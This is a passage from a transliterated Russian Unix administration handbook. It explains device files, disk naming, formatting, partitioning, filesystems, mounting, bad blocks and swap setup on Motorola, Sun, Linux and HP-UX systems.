/dev/pty*, ili /dev/pty/*
Komanda who, ili who am i soobshchit vam, kak nazyvaetsya vash
sobstvennyj terminal.
Sushchestvuyut special'nye fajly, sootvetstvuyushchie zhestkomu disku v
celom (/dev/rdsk/m197_c0d0s7) i vsem ego razdelam
(/dev/dsk/m197_c0d0s*). Esli vy budete chitat' iz etih fajlov,
to poluchite vse bajtiki, kak oni lezhat na zhestkom diske, s
nulevogo cilindra i do poslednego... A esli vy v etot fajl
chto-nibud' zapishete, to poluchite (potom) bogatyj opyt po
pereformatirovaniyu i razmetke zhestkogo diska.
/dev/mem - fajl, izobrazhayushchij operativnuyu pamyat'.
/dev/audio - esli "zakatit'" v nego fajl zvukovogo formata
(*.wav, *.au, ...?) - to on budet ozvuchen dinami-
kom komp'yutera, a komanda cat /dev/audio budet
prinimat' vse, chto proiznositsya v mikrofon. Vpro-
chem, ya otvleksya, u nas ved' ne PC, ne Silicon
Graphic i ne SPARCstation.
/dev/zero - iz nego mozhno schitat' skol'ko ugodno nulevyh bajtov
/dev/null - a v nego mozhno pisat', i chitat' iz nego - tozhe, v
neogranichennyh kolichestvah i s neizmennym rezul'-
tatom: NULL - on i est' null. A v MSDOS ego analog
nazyvaetsya NUL.
Special'nye fajly byvayut dvuh tipov:
blochnye - zapis' i chtenie dopuskayutsya tol'ko blokami. Nap-
rimer, razdely diskov s fajlovoj sistemoj yavlyayutsya
takovymi.
ls -al /dev/fd*
brw-rw---- 1 root floppy 2, 28 Jul 18 1994 /dev/fd0H1440
brw-rw---- 1 root floppy 2, 32 Jul 18 1994 /dev/fd0H2880
brw-rw---- 1 root floppy 2, 12 Jul 18 1994 /dev/fd0H360
simvol'nye(besstrukturnye, syrye, row) - mozhno chitat' i pisat'
otdel'nymi bajtami. K nim otnosyatsya terminaly, mag-
nitnye lenty, neformatirovannye diski i razdely dis-
kov bez fajlovoj sistemy.
ls -al /dev/tty*
crw--w--w- 1 moshkow sys 4, 1 Jan 15 22:00 /dev/tty1
crw--w--w- 1 root root 4, 2 Jan 15 20:37 /dev/tty2
crw--w--w- 1 root root 4, 2 Jan 15 20:37 /dev/tty2
Razlichie - pervaya bukva v listinge komandy ls -l
Ponyatiya "razmer" u special'nogo fajla ne sushchestvuet. Ved' etot
fajl oboznachaet fizicheskoe ustrojstvo. Fakticheski eto ssylka
na sootvetstvuyushchij drajver. Vmesto dliny komanda ls pokazyvaet
dlya takih fajlov dva chisla: "mazhornyj" i "minornyj" nomera us-
trojstv. Budem schitat' dlya yasnosti, chto "mazhor" - eto poryadkovyj
nomer drajvera ustrojstva, a "minor" - vnutrennij nomer ustroj-
stva v tablice obsluzhivayushchego ego drajvera.
&dDSozdanie special'nyh fajlov&d@
Obychno ih sozdavat' ne nuzhno - oni vse uzhe est' dlya vseh
izvestnyh nastoyashchih i budushchih ustrojstv. Sozdany pri
installyacii sistemy.
Ruchnoe sozdanie specfajla
mknod /dev/filename { c | b } MAJOR MINOR
&dDHP-UX: poluavtomaticheskoe sozdanie specfajlov&d@
Pri nachal'noj zagruzke v /etc/inittab otrabatyvaet skript
/sbin/ioinitrc, kotoryj, obnaruzhiv novye platy i ustrojstva,
avtomaticheski zapuskaet komandu ih inicializacii, konfiguracii
i sozdaniya neobhodimyh dlya nih specfajlov.
sm. dokumentaciyu po komandam
ioscan
mksf
insf
&dDSolaris: poluavtomaticheskoe sozdanie specfajlov&d@
Pri zagruzke vyjti v boot-monitor i zagruzit'sya s klyuchem -r
STOP+A
ok boot -r - rekonfiguracionnaya zagruzka
vse neobhodimye specfajly dlya vnov' podklyuchennyh ustrojstv budut
pri etom sozdany avtomaticheski.
.
&dDDiski, lenty, fajlovye sistemy&d@.
&dD * Kakie est' SCSI ustrojstva * &d@
&dDMOTOROLA: Kakie est' SCSI ustrojstva&d@.
scsiscan - eta utilita soobshchit vam, kakie SCSI
ustrojstva podklyucheny i kak oni
nazyvayutsya (SCSI-id)
Posle podklyucheniya novyh ustrojstv k komp'yuteru Motorola
922 on samostoyatel'no ih raspoznaet pri ocherednoj nachal'noj
zagruzke i zapuskaet programmu iz kataloga /sbin/auto-boot,
kotoraya sozdaet special'nye fajly, sootvetstvuyushchie etim
ustrojstvam.
&dDSUN: Kakie est' SCSI ustrojstva&d@.
Na komp'yutere Sun SPARC dlya opredeleniya SCSI-ustrojstv:
Perejdite v BOOT-prom monitor (Nazhmite klavishi Stop+A) Vvedite
komandu probe-scsi
ok probe-scsi
CHtoby sozdat' special'nye fajly, vypolnite
"reconfiguration boot": iz BOOT-prompta
ok boot -r
&dDLINUX: Kakie est' SCSI ustrojstva i zhestkie diski&d@.
IBM PC/Linux soobshchaet ob opoznannyh ustrojstvah pri
nachal'noj zagruzke. Predpolagaetsya, chto sootvetstvuyushchij drajver
SCSI (if exists) skonfigurirovan v yadre. CHtoby eshche raz
prosmotret' eti soobshcheniya, vypolnite komandu
dmesg
Vse special'nye fajly dlya diskov i lent uzhe sozdany
&dDHP-UX&d@
Perehvatit' boot prompt, dat' komandu SEA (search)
Ili na zhivoj mashine ioscan
&dD * Opisanie geometrii diska pri podklyuchenii * &d@
Dlya normal'noj raboty s diskom, vozmozhno, (zavisit ot
sistemy) pridetsya pozabotit'sya ob opisanii geometrii diska.
Pri pokupke diska TREBUJTE s postavshchika bumazhki s
harakteristikami i geometriej diska.
Seagate, naprimer, vse harakteristiki derzhit na
http://www.seagate.com
&dDLinux, FreeBDS: nichego opisyvat' ne nado&d@
Perehodite k sleduyushchemu razdelu.
&dDMOTOROLA: opisanie geometrii diska&d@
Uzhe imeyushchiesya opisaniya dlya "firmennyh" diskov raspolozheny
v kataloge /etc/dskdefs/. Vyberite opisanie "pohozhego" diska,
zapomnite ego imya, naprimer, 1Gb Seagate-ST31 - "msea11200".
Podskazka: zaglyanite v /etc/scsifmt.info
Komandoj ddefs zapisat' geometriyu diska i sohranit' ee pod
novym imenem. V otvet na zapros "Template" vvedite imya
opisaniya "pohozhego" diska. Poprav'te parametry, kotorye vy
znaete, i ostav'te kak est', esli ne znaete, zachem oni.
ddefs -n filename
Aktual'nye parametry: estestvenno, chislo golov, sektorov...
A takzhe (po sobstvennoj shkure provereno):
Root offset: 648 (t.k. VTOC zanimaet 648 blokov)
Slice count: 16 (Polozheno 16 razdelov na diske)
Interleave: 1 (CHto oznachaet "otsutstvuet")
Precomp cylinder: {poslednij} (Nyne prekompensaciya ne ispol'zuetsya)
Bad spots: 100 (Rezerv dlya zameshcheniya bad-blokov)
Controller attribute: 850 (kto ego znaet, zachem, no tak
Attribute: 10 u vseh ostal'nyh diskov)
Word attribute: 10
Vyhod iz komandy ddefs "w" i "q" v DOKUMENTACII NE OPISAN.
Podskazka po ostal'nym komandam ddefs vyvoditsya komandoj "help"
V tablice /etc/scsifmt.info dobavit' strochku so ssylkoj
na fajl s geometriej diska. V kachestve klyuchevyh slov ukazat'
to, chto vyvodit komanda scsiscan. Naprimer, tak:
scsiscan
SEAGATE ST51080N m187_0c0d1 ...
cat >> /etc/scsifmt.info
"SEAGATE" "ST51080N" filename 7 "1GB SCSI"
^D
&dDSUN: opisanie geometrii diska&d@
CHtoby disk opoznavalsya Sun'om, dlya nego dolzhno
sushchestvovat' opisanie geometrii v fajle /etc/format.dat
&dD * Kak nazyvayutsya diski i razdely na mashine * &d@
Kazhdoe "ustrojstvo" imeet sootvetstvuyushchij emu "special'nyj
fajl". Ot sistemy k sisteme imena eti absolyutno drug na druga ne
pohozhi. Odno, pozhaluj, postoyanno: vse special'nye fajly obychno
raspolozheny v kataloge /dev ili ego podkatalogah.
V SVR4 ustrojstva sobrany v otdel'nye katalogi:
/dev/rdsk/* - besstrukturnye diski i razdely diskov
/dev/dsk/* - blochnye diski i razdely diskov
/dev/rmt/* - strimmernye nakopiteli na magnitnoj lente
/dev/term/* - linii dlya podklyucheniya terminalov (dial-in)
/dev/cua/* - linii s modemnym upravleniem (dial-out)
/dev/pts/* - psevdoterminal'nye linii
&dDMOTOROLA: Obshchij format imeni:&d@
controller_cXdYsuffix gde:
controller - tip ustrojstva
X - nomer kontrollera
Y - logicheskij nomer ustrojstva
suffix - zavisit ot ustrojstva, naprimer:
nomer razdela na zhestkom diske
Logicheskie diski (razdely fizicheskogo SCSI diska)
s blochnoj strukturoj na stancii Motorola 922
/dev/dsk/m197_c0d0s1 SCSI kontroller m197 nomer 0,
SCSI ustrojstvo 0
logicheskij razdel (slice) 1
/dev/dsk/m328_c0d0s0 SCSI kontroller m328 nomer 0,
. . . SCSI ustrojstvo 0
logicheskij razdel (slice) 0
Fizicheskij disk (celikom)
/dev/rdsk/m328_c0d0s7 Uslovnoe oboznachenie vsego zhestkogo
/dev/rdsk/m197_c0d1s7 diska, celikom
Besstrukturnye (syrye) razdely
/dev/rdsk/m197_c0d0s1
/dev/rdsk/m197_c0d1s2
Magnitnye lenty.
/dev/rmt/ctape1 a takzhe
/dev/rmt/m197_c0d4
CD-ROM.
/dev/rdsk/m197_c0d6s7 - "syroj" (fizicheskij)
/dev/dsk/m197_c0d6s0 - razdel CD-ROM s fajlovoj sistemoj
"Motorol'nogo" formata ufs
/dev/dsk/m197_c0d6s7 - CD-ROM so standartnoj fajlovoj
sistemoj iso9660
&dDSUN:&d@.
Logicheskie razdely (blochnye) na stancii SPARCstation:
Disk mozhet byt' razbit na 8 logicheskih razdelov s 0 po 8.
Obshchij format imeni SCSI ustrojstva:
/dev/dsk/c0t2d0s3 Controller 0 (obychno 0)
Taget 2 (SCSI ID)
Disk 0 (LUN Logical Unit Number
- obychno 0)
Slice 3 (Nomer razdela)
Fizicheskij disk (celikom)
/dev/rdsk/c0t3d0s2 Ves' zhestkij disk predstavlyaetsya razde-
lom 2
Zagruzochnyj vnutrennij zhestkij disk SPARC-
station imeet 3-j SCSI nomer.
CD-ROM (celikom)
/dev/dsk/c0t6d0s2 CD obychno veshayut na 6-j SCSI nomer.
Imeet rovno odin razdel - ves' disk.
Magnitnye lenty.
/dev/rmt/0 1-ya lenta (obychno 150Mb)
/dev/rmt/1 2-ya lenta (obychno DAT 4Gb)
Posle podklyucheniya novyh ustrojstv k Sun'u.
Nuzhno vypolnit' "reconfiguration boot". Iz boot prom'a:
ok boot -r
&dDLinux:&d@.
Disk mozhet byt' razbit na 4 primary razdela s 1 po 4. Odin
iz razdelov mozhet byt' extended - togda on mozhet byt' razbit
eshche na 4 razdela s 5 po 8
Fizicheskij disk (celikom)
/dev/hda Pervyj IDE zhestkij disk
/dev/hdb Vtoroj IDE zhestkij disk
/dev/hdc IDE hd (ili CD) - master na vtorom interfejse
/dev/hdc IDE hd (ili CD) - slave na vtorom interfejse
/dev/sda Pervyj SCSI zhestkij disk ...
/dev/sda1, /dev/sda2, ... ,8 Razdely zhestkogo SCSI diska
/dev/hdb1, /dev/hdb2, ... ,8 Razdely zhestkogo IDE diska
CD-ROM
/dev/sbpcd,/dev/sonycd, ...
/dev/hdc - IDE CD
a luchshe /dev/cdrom
Magnitnye lenty.
/dev/rmt1
Diskety.
/dev/fd0 - floppi A:
/dev/fd1 - floppi B:
&dDHP-UX&d@
Fizicheskij disk (celikom)
/dev/rdsk/c0t6d0 Ves' zhestkij disk (raw)
/dev/dsk/c0t6d0 Ves' zhestkij disk
ZHestkih razdelov v HP-UX net, zato est' LVM - i v nem
logicheskie toma
/dev/vg00/lvol12 char logical volume
/dev/vg00/rlvol12 block logical volume
Magnitnye lenty
/dev/rmt/0m lenta s peremotkoj
/dev/rmt/0mn lenta bez peremotki
&dD * Kak otformatirovat' SCSI disk * &d@.
Formatirovat' SCSI na nizkom urovne ne umeet ni odin Unix
v mire.Formatirovanie obychno zaklyuchaetsya v testirovanii bad block'ov
i nanesenii logicheskoj razmetki diska - delenii ego na
logicheskie razdely.
&dDMOTOROLA: nizkourovnevoe formatirovanie diska &d@
Hotite po-prostomu - vospol'zujtes' komandoj scsifmt.
Primenyaetsya ona k BESSTRUKTURNOMU cel'nomu disku (katalog
/dev/rdsk, slice nomer 7). Naprimer:
scsifmt /dev/rdsk/m197_c0d1s7
scsifmt /dev/rdsk/m328_c1d0s7
VNIMANIE: vy uzhe nabrali etu komandu? Soschitajte do 20 i
nemnogo podumajte. Podumali? Teper' nazhmite Ctrl-C. Vy nazhali
ENTER vmesto Ctrl-C ? U vas est' 30 svobodnyh minut. Mozhete za
eto vremya oznakomit'sya s glavoj "Installyaciya Unix". Ved'
komanda scsifmt nichego ne peresprashivaet i srazu nachinaet
formatirovat' ukazannyj disk, ne trebuya nikakih podtverzhdenij.
scsifmt prosto vyzyvaet komandu dinit s sootvetstvuyushchimi
klyuchami, kotoraya vse i delaet. Dlya bolee tonkih rabot
pol'zujtes' dinit neposredstvenno.
Inicializaciya diska(nizkourovnevoe formatirovanie, testirovanie
bad-blokov, zagruzochnaya zapis') delaetsya komandoj dinit.
dinit [-f] [-q] [-b] filename /dev/rdsk/m187_c0d1s7
-X 9 debug-level
-f pereformatirovat'
-q "bystryj" format
-b sdelat' disk zagruzochnym
-v {0-4} write test
man dinit soobshchit' vse ostal'nye podrobnosti
&dDSUN:&d@
Fizicheskoe formatirovanie diska na SunOS ne delayut. Schitaetsya,
chto disk dolzhny otformatirovat' na zavode. Mozhno posmotret'
informaciyu o diske.
prtvtoc /dev/rdsk/c0t0d0s2
&dDHP-UX&d@
Fizicheskoe formatirovanie
format /dev/rdsk/c0t6d0
&dD * Razmetka diska na razdely. Partition Table * &d@
&dDLinux: fdisk&d@
Rametka partiotion table v Linux delaetsya komandoj fdisk.
|to dialogovaya utilita - bez osobyh izyskov, vse delaetsya
prosto.
fdisk /dev/hda # ili /dev/sdb ...
mke2fs /dev/hda1
# sozdaet fajlovuyu sistemu tipa ext2 na pervom razdele
Raspechatat' tablicu razdelov:
fdisk -p /dev/hda # ili /dev/sdb ...
&dDSUN: Razmetka formatirovannogo diska na razdely&d@
CHtoby disk opoznavalsya Sun'om, dlya nego dolzhno
sushchestvovat' opisanie v fajle /etc/format.dat
Iz-pod SuperPol'zovatelya zapustite komandu format, i v
dialogovom rezhime smozhete proinicializirovat' i protestirovat'
disk i razbit' ego na razdely.
format
Boot-monitor pri zagruzke operacionnoj sistemy ishchet na kornevom
razdele boot-blok. On zapisyvaetsya komandoj installboot ili dd
installboot /dev/rdsk/c0t3d0s0
dd if=/usr/lib/fs/ufs/bootblk bs=1k skip=1 of=/dev/dsk/c0t3d0s0
&dDSUN: Sozdanie fajlovoj sistemy&d@.
newfs /dev/dsk/c0t0d0s7
SUN: vidy fajlovyh sistem.
ufs Unix File System
osnovnoj tip fajlovyh sistem dlya zhestkih diskov
hsfs High Sierra, ISO 9660, Rock Rige Extension
fajlovaya sistema na CD-ROM'ah
pcfs MS-DOS FAT dlya disket 3"
nfs Network File System
naibolee populyarnaya setevaya fajlovaya sistema
rfs Remote File System
tyazheloe nasledie System V - eshche odna setevaya FS
tmpfs dlya hraneniya Vremennoj Fajlovoj sistemy ispol'zuetsya
svobodnoe mesto swap-oblasti
lofs Loop Back FS
fakticheski mount -F nfs localhost:/ /mnt
procfs Process FS - "dlya kazhdogo processa imeetsya fajl"
fifofs FIFO FS
fdfs File Descriptors FS
namefs
&dDMOTOROLA: Razmetka formatirovannogo diska na razdely&d@.
Proizvoditsya Disk Slice Editorom dse. Na diske mozhet byt'
do 15 slice'ov (razdelov). Oni numeruyutsya chislami ot 0 do 6, ot
8 do f. Nomer 7 zarezervirovan, chtoby oboznachat' ves' disk
celikom.
dse imya_besstrukturnogo_diska # naprimer:
dse /dev/rdsk/m197_c0d0s7
DSE imeet ekrannyj interfejs, shozhij s redaktorom VI
Komandy:
:q! vyjti bez vneseniya izmenenij v tablicu razdelov
:wq sohranit' izmeneniya i vyjti
h,j,k,l komandy peremeshcheniya po ekranu (eto esli u vas ne ra-
botayut strelochki)
C sozdat' razdel na svobodnom meste
dw steret' pole
dd unichtozhit' razdel
cw izmenit' znachenie polya
VNIMANIE: samyj pervyj razdel dolzhen nachinat'sya s bloka nomer
648 (ili bol'she), poskol'ku na diske dolzhno ostavat'sya mesto
dlya hraneniya razmetki diska VTOC (Volume Table Of Contents).
Na sozdavaemom razdele dolzhna byt' sozdana fajlovaya
sistema. V SVR4/88 ispol'zuyutsya 3 raznyh tipa - ufs, s5, bfs.
Vybirajte "UFS".
Motorola: vidy fajlovyh sistem.
ufs Unix File System
osnovnoj tip fajlovyh sistem dlya zhestkih diskov
s5 System V. Ustarelyj tip fajlovoj sistemy, ispol'-
zovalsya v staryh versiyah SV 3.1. Bolee medlennaya,
no zanimaet men'she mesta pod sluzhebnuyu informaciyu
bfs Boot File System dlya kataloga /stand
Sluzhebnaya "ochen' prostaya" fajlovaya sistema. V nej
lezhat fajly nachal'noj zagruzki boot i unix
cdfs CD File System
Standartnaya dlya CD ROM'ov razmetka ISO 9660
Posle pererazmetki diska dse avtomaticheski zapustit
komandu mkfs so vsemi neobhodimymi parametrami - dlya sozdaniya
chistyh fajlovyh sistem na novyh razdelah, poetomu punkt,
otnosyashchijsya k komande mkfs, imeet skoree akademicheskij interes.
Real'no dse tol'ko GOTOVIT opisanie VTOC, a propisyvaet
ee na disk komanda fmthard. Parametry u nee neprostye, imenno
ona primenyaetsya pri installyacii sistemy.
fmthard -S file_with_vtoc_description /dev/rmt/m187_c0d1s7
Dlya obychnyh zhe yuzerov k nej napisan pol'zovatel'skij
interfejs dse.
Raspechatat' tablicu razdelov:
prtvtoc /dev/rdsk/m187_c0d0s7
&dD * Kakogo tipa u nas fajlovye sistemy * &d@
&dDMOTOROLA: Kakogo tipa u nas fajlovye sistemy&d@
fstyp imya_diskovogo_razdela
Rekomenduemyj tip dlya nespecializirovannyh (t.e. ne teh,
kotorye /stand, /boot i nekotorye drugie) fajlovyh sistem
standartnyj Unix'ovskij "ufs" - Unix File System. |to bystraya
fajlovaya sistema BSD-podobnogo tipa s simvolicheskimi linkami,
dlinnymi imenami fajlov (do 256 bajt), izmenyaemym razmerom
bloka, "razmazannoj" tablicej inod'ov (opisateli fajlov
raspolozheny gruppami, kotorye ravnomerno raspredeleny po disku)
&dDmkfs - sozdaet pustuyu fajlovuyu sistemu&d@.
# sozdaem fajlovuyu sistemu tipa s5 na 4-om razdele diska, raz-
# merom 200 Mb !!! Razmer ukazyvaetsya v 512-bajtnyh blokah
mkfs -F s5 /dev/rdsk/m328_c2d0s4 400000
# sozdaem fajlovuyu sistemu tipa ufs na 5-om razdele diska
mkfs -F ufs -o bsize=4096,nsect=36,ntrack=9,free=1 \
/dev/rdsk/m328_c2d0s5
&dDLinux: sozdanie fajlovoj sistemy&d@
mke2fs /dev/hda9
&dDHP-UX: sozdanie fajlovoj sistemy&d@
newfs -F hfs /dev/rvol12
&dDHP-UX: JFS vs HFS&d@
HP-UX ispol'zuet dva formata fajlovyh sistem:
HFS (High Perfomance) - AKA staraya dobraya ufs,
i novomodnaya JFS (Journal) AKA Verytas vxfs
0. vxfs - eto ne fajlovaya sistema, a baza dannyh s zhurnalom tranzakcij
i otkatkoj. Lyubaya operaciya zapisi v fajlovuyu sistemu soderzhit tol'ko
zavershennye tranzakcii, poetomu fs na diske _vsegda_ nahoditsya v korrektnom
sostoyanii. V log pishetsya "protokol namerenij", i ego mozhno ispol'zovat' dlya
otkatki.
&dDPlyusy:&d@
1. vxfs ispol'zuet fizicheskij zhurnal dlya zapisi
kriticheskoj metainformacii na disk. |to garantiruet effektivnoe
vosstanavlenie fs. Bol'shaya sohrannost' pozvolyaet dol'she
keshirovat' dannye. Ochen' zameten vyigrysh po skorosti "close
file" - zakrytie fajla NE forsiruet sync inod'a na disk, v
otlichie ot ufs.
2. vxfs primenyaet klasternuyu adresaciyu posledovatel'nyh
blokov - vyigrysh v adresacii blokov i skorosti dostupa k bol'shim
fajlam.
3. inod v vxfs-e imeet dlinu 256 bajt (a ne 128), i korotkie (<=96bajt)
direktorii ili simlinki hranyatsya pryamo v inod'e
4. Direktorii vxfs proindeksirovany - sledovatel'no, povyshena skorost'
poiska fajla po imeni.
5. Po neobhodimosti vxfs umeet sozdavat' dopolnitel'nye oblasti
inod'ov, i voobshche - mesto v vxfs raspredelyaetsya po mere zapolneniya.
Napisat' podrobnee pro tranzakcii.
&dDMinusy:&d@
1. Sluzhebnye struktury vxfs zanimayut bol'she mesta na diske
2. Zagruzchik yadra ne umeet chitat' format vxfs, poetomu
katalog /stand obyazan byt' HFS'nym
&dDPlyusy dlya Live JFS (AKA OnLine VxFS) Only:&d@
|to rasshirenie standartnoj vxfs, kommercheskij produkt, postavlyaemyj za
otdel'nye den'gi, posle ego ustanovki standartnaya vxfs poluchaet
dopolnitel'nye vozmozhnosti:
6. Uvelichenie razmera fs bez otmontirovaniya.
7. Umen'shenie razmera fs (a-lya speed disk) bez otmontirovaniya.
8. Snapshot (zamorozka) fs. Po komande voznikaet parallel'noe
derevo-kopiya razdela - "ostanovlennoe" na moment podachi komandy. Realizaciya:
ispol'zuet dopolnitel'no razdel diska dlya sohraneniya izmenyaemyh blokov s
dannymi. Pri obrashchenii k "zamorozhennym" dannym bloki, eshche ne izmenennye -
schityvayutsya iz original'noj fajlovoj sistemy, esli zhe menyalis', to original
beretsya s sohranennoj na otdel'nyj razdel kopii.
Primery, na kotoryh vxfs daet zametnyj (v 2-4 raza) vyigrysh
cd /hfs ; time tar xf /tmp/big.tar
cd /vxfs ; time tar xf /tmp/big.tar
time cat bigfile bigfile bigfile bigfile bigfile > /vxfs/big
time cat bigfile bigfile bigfile bigfile bigfile > /hfs/big
Vyvod: v nekotoryh operaciyah vxfs bystree, v ostal'nyh -
ne medlennee, ustojchivee k vyklyucheniyu pitaniya, no neskol'ko
bol'she s®edaet diskovogo prostranstva.
HFS imeet smysl na staticheskih "readonly" katalogah,
naprimer /usr - skorost' chteniya odinakova, a hfs kompaktnee.
&dDLinux. Zapis' direktorii na vritable CDROM&d@
mkisofs -R -o image directory
zatem zapisat' obraz na cd-r komandoj cdrecord
&dD * Montirovanie fajlovyh sistem * &d@.
CHtoby sdelat' "vidimymi" fajly, lezhashchie na diskovom razdele,
Unix ispol'zuet komandu mount. Mount "podceplyaet" fajlovuyu
sistemu k obshchemu derevu fajlov. Pri montirovanii nuzhno ukazat'
"tochku montazha" - katalog, k kotoromu "podceplyaetsya" nasha novaya
fajlovaya sistema. Naprimer:
mount -F ufs /dev/dsk/m197_c0d0s8 /home1
CHtoby posmotret', kakie fajlovye sistemy u nas smontirovany,
vypolnite komandu
df
CHtoby nashi fajlovye sistemy montirovalis', a swap oblasti akti-
vizirovalis' avtomaticheski pri kazhdoj zagruzke, neobhodimo
vstavit' sootvetstvuyushchie stroki v fajl /etc/vfstab . Format
strochek mozhno posmotret' v etom zhe fajle.
&dDMOTOROLA: Montirovanie CD-ROM&d@.
Esli na CDROM'e zapisana fajlovaya sistema formata "ufs" - t.e.
eto "rodnoj", motorol'nyj cdrom, to montirovat' ego nuzhno po
tem zhe pravilam, chto i obychnyj zhestkij disk, tol'ko "read only"
mount -F ufs -r /dev/dsk/m197_c0d6s0 /cdrom
Esli zhe eto obychnyj "game'ovyj" disk dlya MSDOS'a, a tochnee, CDROM
standartnogo formata iso9660, to montirovat' ego nado tak:
mount -F cdfs -o ro /dev/dsk/m197_c0d6s7 /cdrom
(ispol'zovanie klyuchej -r i -o ro - ravnoznachno)
&dDOtmontirovanie fajlovyh sistem&d@.
umount /home1
&dD * Izmenenie parametrov fs * &d@
Sun: tunefs
Linux: tune2fs
HP-UX: fsadm
&dD * Bad-bloki * &d@.
Simptomy dostatochno krasnorechivy: zametnye zaderzhki pri
dostupe k disku (iz-za retrying'a), i na konsol' syplyutsya
strashnye soobshcheniya "Bad media", "Read failure"... "pri dostupe
k bloku takomu-to".
Zapishite nomera bad-blokov - ih mozhno "podlechit'".
&dDFirmennye operacionki: lechitsya, no s trudom-s&d@
Sovremennye SCSI adaptery sami zamenyayut bad-bloki. Esli
zasekli bad-block, propishite po nemu (ili fajlu s nim) nuli,
adapter zaodno i propishet, i podmenit, i navsegda spryachet ego,
i on bol'she ne pokazhetsya.
&dDMotorola: Bad-bloki&d@
Rekomenduyu oznakomit'sya s dokumentaciej - razdel "Bad
blocks" v Tome "Disks and Tapes Managment"
sm. takzhe man po ddefs, mvme328, scsi1x7, dinit, ...
Nadeyus' pri opisanii geometrii diska komandoj ddefs vy ne
poskupilis' ukazat' chislo "Bad spots" bol'she nulya. Zameshchenie
bad-blokov vypolnyaetsya vse toj zhe komandoj dinit
dinit -n dskdeffilename /dev/rdsk/m187_c0d107
-n nomera bad-blokov vvodyatsya s klaviatury
dinit -t bad-list dskdeffilename /dev/rdsk/m187_c0d107
-t bad-list fajl so spiskom bad-blokov
Kak protestirovat' disk na bad-bloki? U dinit est' klyuch
-v 1 - verify with pattern
&dDLinux: Bad-bloki&d@
Linux'ovskij fsck s klyuchom "-c" umeet sam nahodit' i
lechit' ot bad-blokov (oni sobirayutsya v otdel'nyj "bad" inode)
# -y yes na vse voprosy, -f force checking, -c bad-blocks
e2fsck -c -y -f /dev/hda3
&dD * Diagnostika oborudovaniya * &d@
&dDMOTOROLA: Utilita testirovaniya oborudovaniya GOLD&d@
Dlya testirovaniya i diagnostiki oborudovaniya stancii
Motorola 922 mozhno vospol'zovat'sya utilitoj gold. Ona imeet
sistemu menyu, ochen' pohozhuyu na sistemu menyu utility sysadm.
&dDSUN: Utilita testirovaniya oborudovaniya sundiag&d@
Sundiag - mnogofunkcional'naya utilita testirovaniya
oborudovaniya na Sun
&dDUnix dlya PC&d@
Da chego tam vypendrivat'sya. Gruzites' v MSDOS i tam
testirujte zhelezo vsem, chem pozhelaete.
.
&dDVydelenie razdelov pod swap&d@
Pod swap oblast' rekomenduetsya vydelyat' ne bolee odnogo
razdela (predpochtitel'nee samogo pervogo) na kazhdom zhestkom
diske.
Pod swap rekomenduetsya vydelyat' 1*RAM - 2*RAM mesta, a
esli na mashine aktivno ispol'zuetsya X-Windows, to 3*RAM.
V sluchae srochnoj neobhodimosti pod swap mozhno vydelit' i
obychnyj fajl. Sozdajte fajl bol'shogo razmera, a zatem
podklyuchite ego pod swapping. Primer: vydelyaem 20 Mb-ovyj fajl
dd if=/dev/zero of=/var/swapfile bs=1k count=20480
CHtob swap podklyuchalsya avtomaticheski pri nachal'noj zagruzke,
nado vpisat' stroku v /etc/fstab - chto-nibud' tipa:
---------------------------------------------------------------
# device mountpoint type flags
/dev/hdb2 none swap sw
---------------------------------------------------------------
&dDMOTOROLA: swap&d@
Posle vydeleniya razdela pod swap ego nado aktivizirovat':
swap -a /dev/rdsk/m328_c2d0s0 0 0 # podklyuchaem razdel
swap -a /var/swapfile 0 40960 # podklyuchaem fajl
# Vnimanie - zdes' dlina ukazyvaetsya v 512-bajtnyh blokah
&dDLinux: swap&d@
# razmechaem particiyu,
# ustanavlivaem ej partition ID == 82 "Linux-swap"
fdisk /dev/hda
# Swap-fajl dlya Linux _OBYAZAN_ lezhat' v kataloge /dev/
dd if=/dev/zero of=/dev/swapfile bs=1k count=40000
# Posle vydeleniya razdela ili fajla pod swap ego nado propisat':
mkswap /dev/hda2 40000 ; sync # razmer v kilobajtah
swapon /dev/hda2 # podklyuchaem swap-razdel
free # smotrim
swapoff /dev/swapfile # otklyuchaem swap-fajl
Dlya postoyannogo vklyucheniya dobavit' strochku
v /etc/fstab :
---------------------------------------------------------------
/dev/hdb2 none swap sw
---------------------------------------------------------------
&dDHP-UX 10.20: swap&d@
Dushka HP-UX pozvolyaet vse zaprosto sdelat' menyushkami SAM.
Specifika: swap v fajlovoj sisteme nazyvaetsya ekzoticheskim
slovom "File system swap", organizuetsya v vide kataloga i
hvataet ne vse srazu, kak imeet mesto s swap-fajlom, a "po
trebovaniyu", chem ekonomit mesto na diske.
V HP-UX otklyuchit' na letu swap-oblast' nel'zya - otklyuchenie
swap forsiruet perezagruzku komp'yutera
Primary-swap ukazyvaetsya v konfiguracii yadra, ostal'nye v fajle
/etc/fstab
swapon # podklyuchaem
swapinfo # smotrim
&dDSUN (Solaris i SunOS)&d@
swap -l # listing
swap -s # listing
mkfile 40m swap-file # sozdat' svapfajl v 40 Mb
swap -a swap-file # aktivizirovat' ego.
Dlya postoyannogo vklyucheniya dobavit' strochku
v /etc/vfstab:
/swap/file - - swap - no -
.
&dDInstallyaciya operacionnoj sistemy&d@
Dlya installyacii operacionnoj sistemy na Unix-komp'yuter
ispol'zuyutsya zagruzochnye diskety, zagruzochnye magnitnye lenty,
a takzhe CD-ROM'y.
S distributivnogo nositelya zagruzhaetsya minimal'naya versiya
operacionnoj sistemy Unix, i pod upravleniem etogo Unix-a
zapuskaetsya programma installyacii, kotoraya izvlekaet i
ustanavlivaet s nositelya pakety.
&dDMotorola 922. Zagruzka s magnitnoj lenty&d@
Vstavit' lentu s distributivom Unix SVR4/88. Vklyuchit'
pitanie. Posle togo, kak na konsol'nom terminale poyavitsya
soobshchenie
"Idle MPU: none"
nazhat' na klavishu "PROBEL"
Poyavitsya menyu iz neskol'kih punktov.
Vybiraem "3" (System debugger) , ENTER
V otvet na priglashenie 197-Diag> vvodim "bo 0 40" ENTER (0:
zagruzit' s 0-go SCSI kontrollera, 40 - magnitnaya lenta, 4-j
scsi-nomer) i zhdem 5 minut.
197-Diag> bo 0 40
Boot-prom organizuet v operativnoj pamyati RAM-disk,
schityvaet na nego s magnitnoj lenty nachal'nye 8 Mb - obraz
fajlovoj sistemy, zagruzhaet yadro operacionnoj sistemy,
montiruet RAM-disk v kachestve kornevoj fajlovoj sistemy i
zapuskaet s nego programmu installyacii, upravlyaemuyu menyu.
Dal'she nado otvetit' na nekotoroe kolichestvo voprosov, posle
chego programma pristupit k ustanovke paketov Unix'a, kotorye
razmeshcheny na lente vsled za obrazom zagruzochnogo RAM-diska.
